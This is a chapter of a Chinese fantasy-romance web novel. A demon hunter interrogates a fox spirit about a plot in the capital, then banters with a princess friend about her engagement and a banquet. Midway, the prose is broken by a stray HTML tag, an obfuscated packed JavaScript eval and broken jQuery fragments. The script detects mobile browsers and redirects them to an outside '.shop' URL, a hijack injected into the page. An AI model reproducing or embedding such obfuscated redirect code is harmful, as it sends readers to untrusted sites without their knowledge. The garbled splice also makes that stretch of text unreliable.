一回到照月轩,林江月便将狐狸揪了出来。

    那狐狸化作原形,被照云关在能阻隔妖力流动的笼子,此刻正昏昏欲睡,腹部还有照云给它上的药。

    林江月将它提溜了出来,同时翻出狐狸之前叼着的折扇,打开折扇,上面画着一幅雪景寒梅图,惟妙惟肖,应该是大家手笔。

    林江月合拢了折扇,在手心一下一下敲着折扇,她温和地笑着,活像一个玉面罗刹。

    狐狸竖起耳朵,警觉地看着她。

    林江月开口道:“休息了一天,应该也休息够了吧!如实招来,你背后的主子是谁?”

    狐狸小心翼翼地答道:“不知道。”

    啪的一声,林江月将折扇扣在手心,将包里的桃木剑拿了出来,“当真不知?”

    狐狸年纪不大,大多数时间都用来修行了,化成人形也没几天,在它短暂的狐生里,从没有被这么严刑逼供过,不由哆嗦,“你不能这么对我,我从没杀过人!”

    妖怪如果杀过人,那么它的妖气就会沾染上浊气,而这狐狸的妖气很纯,明摆着没杀过人。捉妖这么久了,林江月还是看得出来的。

    林江月露出邪恶的笑容,“我当然知道你从没杀过人啊,但谁让我今天心情不好呢!”

    她的语气突然严肃起来,“再给你一次机会,你背后的主子是谁?”

    京城的妖怪不多,再从她来了之后,更是几乎绝迹,都乖乖地躲着不出来。

    但这今年却不同了,今年不知怎么回事,京城的妖怪多了几倍,而且大都是狐妖这种小妖怪,它们隐匿于各个角落,吸食人的精气,那些王公贵族不曾听说过,底下那些从事下九流的和流浪汉倒是死了一片。

    但毕竟他们身份摆在那里,官府懒得多下功夫,都只是匆匆定案,完结了事,剩下的尸骨,就丢到城外的乱坟岗去。

    林江月察觉到这件事的时候,已经有很多人死于非命,狐妖并不是她第一个抓到的妖怪,先前她也抓到了几个,但奇怪的是,那些妖怪吸食了精气之后,双眼泛红,十分癫狂,俨然妖气暴走之象,林江月只得将它们就地格杀。

    林江月花了不少时间,才搞清楚了那些妖怪活动的规律,设计再这只狐狸害人前先抓了它。

    这背后定有人的手笔,只是不知道幕后之人是谁,也不知他的目的是什么,竟然明目张胆地在京城纵妖杀人。

    不过这人的身份定不会简单就是了,裴初照提醒她这背后涉及甚广,说明背后之人一定身居高位,牵一发而动全身,这桩案子绝对不简单。

    狐狸害怕地缩了缩爪子,“我不知道,我是听说有妖丹发才来的。我们先领妖丹,然后再根据命令去吸人精气。”

    妖丹是妖怪们妖力的来源,能化形的妖怪,都是有妖丹的。而一旦吸食了别的妖怪的妖丹,修为就能够更上一层楼。

    发妖丹对于妖怪们来说,不异于天上掉馅饼。

    狐狸将一颗猩红的妖丹从腹中吐了出来,“我还没来得及吸收多少。”

    那颗妖丹是个很普通的妖丹,林江月拿出手帕,将其捏了起来,并没有发现任何不对劲的地方。

    林江月问道:“这消息是哪里来的?”

    狐妖道:“不知道最开始是谁说的,京城都传遍了。”

    林江月接着问:“那与你接头的人是谁?”

    狐妖道:“东市仁义堂的掌柜。”

    林江月摸了摸唯唯诺诺的狐狸头,“早这么说不就好了?”

    狐狸湿漉漉的眼睛望着她,身体仍在打着哆嗦,“我知道的都告诉你了,你能不能……放过那个掌柜啊?就是不要杀他。”

    林江月看它这副怕得要死的样子,当即明了,“你情人?”

    真是好一个人狐情未了啊!

    狐狸连忙解释:“不是,他对我有恩。”

    还是个重情重义的狐狸。

    林江月吓唬道:“那好,如果让我知道你还有事瞒着我或者骗我,我就先把他杀了,再把你杀了。”

    狐狸巴巴地看着她。

    林江月见着狐狸涉世未深心思单纯,想必也问不出什么东西来了,将它往笼中一塞,就返回自己的卧房睡觉去了。

    已经四更了,饶是林江月精神头再好也经不住这么熬,她伸了个懒腰,寻思着明天再去仁义堂一探究竟。

    第二天,林江月迷迷糊糊地爬起来,在照霜和照云的侍奉下心安理得地偷觉。

    还未梳妆完毕,忽听一阵林琅环佩的声音挟着丫鬟们的笑声穿堂而来,接着伸过来一只手,精准地揪住了林江月的耳朵,将她从睡梦中揪醒。

    林江月下意识喊疼。

    长宁郡主见她醒来,这才松开揪着她耳朵的手,毫不见外地在她旁边坐了下来,“你晚上做贼去了吗?这都巳时了,为什么你才起来?”

    长宁郡主是康乐长公主的女儿,本名魏长乐,是整个长公主府的宝贝眼珠子,也是个不可一世的主儿。

    因她自幼习武,所以深深觉得京城中的贵女大多都是娇花,而她自己是一只顽强的雌鹰,于是只能顽强地与世不同。

    直到这位雌鹰第一次见林江月,她们恰巧王八看绿豆,看对眼了。二位皆从对方人模狗样的外表中分辨出了臭味相投的内在,一见如故地成为了好友。

    长宁郡主与她相熟,二人没事的时候时常串门,府里的下人也都知道,因此不会拦着她进来。

    林江月幽怨地看着她,深知这位多半是得了消息,来嘲笑她的,道:“我要是做贼,首先偷掉的就是你世子表哥家的东西,东市卖一圈,再去西市卖一圈。”

    因着康乐长公主是燕王的嫡亲妹妹,所以裴初照是魏长乐的亲表哥。

    魏长乐忍不住笑道:“我表哥家的东西以后可是你自家的,你这是连自家东西都要偷?”

    林江月恼怒地给了她一拳,“你这是揶揄我呢?”

    身后的一众侍女见郡主挨打也不着急,都叽叽喳喳地笑着。

    魏长乐被她打了一拳也不恼,笑嘻嘻地抱住她,不让她接着打,“我世子表哥有什么不好的,那模样和才学你在京中能找到第二个?就是身体差了点,不知京中有多少小姑娘等着嫁给他呢!”

    林江月梗着脖子道:“谁想嫁那让谁嫁去呗,偏偏是我,谁不知道我和他有过节。”

    魏长乐道:“可由不得你,这是皇后娘娘点的鸳鸯。说起来,你那二房妹妹估计都要气炸了。”

    林江月不解,“为什么?”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17681410|207708||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    她和裴初照定亲,关林妙秋什么事?

    魏长乐道:“你既然知道,京城的人大多都对你和我表哥的过节有所了解,为什么不知道林妙秋她喜欢我表哥这件事,也早就传遍京城了?”

    林江月愣住一下,才道:“我还真不知道。”

    她素日里和林妙秋的接触并不多,除去不可避免的家宴,唯一有交集的地方就是参加宴会。

    她知道林妙秋不喜欢她,林妙秋素日里也躲着她走,推脱掉任何她去的宴席。

    而今魏长乐这么一说,林江月倒是意识到一丝不对劲来,有她的地方都没林妙秋,是不是也因为林妙秋可能在刻意追逐着裴初照?

    魏长乐见她这副迟钝的样子,叹了口气,道:“我就知道,你从来不关心这些。”

    林江月干笑了两声,这两个人天天跟躲炮仗似的躲着她走,她不知道多正常。

    魏长乐道:“那虞焕呢?”

    虞焕是北定侯府的世子,和她们同样大的年纪,早早就进入天机营历练去了。

    虞焕人长得芝兰玉树、虎背熊腰的,练就一身武艺,却是个缺心眼的,在中秋宴上见过林江月之后就和疯了一样,说什么一见钟情,整日追在林江月屁股后面跑,搞得林江月整日不堪所扰。

    其实如果只是这种程度的骚扰,林江月还能接受,偏生这位爷还领了巡逻京城的差事,林江月捉妖的时候几次三番被他打断,对他实在是没有什么好印象可言。

    林江月木然道:“随便他吧!他爱干嘛干嘛!”

    魏长乐看她兴致缺缺的模样,乐道:“他可是说过非你不娶的,你就不怕他打一辈子光棍?”

    林江月道:“那他就去做和尚吧,我可没逼着他。”

    魏长乐被她逗得咯咯直笑,“算了算了,不与你说这些,东市那边新开了家糕点店,据说色香味俱全,我知你素来爱吃,特地让小厮买了一份,给你打包带来。”

    她说罢,身后的丫鬟就将抱在手里的食盒端了上来。

    林江月两眼放光地看着食盒,打开了盖子,露出里面玲珑小巧的糕点。

    她感动得给了魏长乐一个大大的拥抱,“长乐,还是你对我好。你不知道你那表哥为了对付我将我爱吃的那家糕点店都盘了下来,让他们一周只卖我一盒。忒小气了。”

    魏长乐向后一躲,躲过了林江月来抱她的手,“有条件的啊!”

    被收买的林江月除了杀人放火都能接受,“说吧,什么条件?”

    魏长乐嘿嘿道:“今日景国公夫人生辰宴,你知道我娘亲素日与景国公夫人交好,我母亲定要去,我却同景国公府的大小姐合不来。而我母亲打定了主意要我去,我想着我一人去难免尴尬,你陪我一起去吧!”

    林江月不以为意:“我还以为是什么事,原只是赴宴。”

    林江月没收到请帖,但不是第一次跟着魏长乐混吃混喝了,她和魏长乐都是脸皮厚得能上天的那类人,一张请帖她们能硬生生掰成两张用。

    魏长乐接着道:“王妃和表哥也会去,还有虞焕和北定侯夫人,据说还请了林妙秋和孟夫人。”

    林江月:……

    怪不得不请她。

    她崩溃道:“你害我呢!”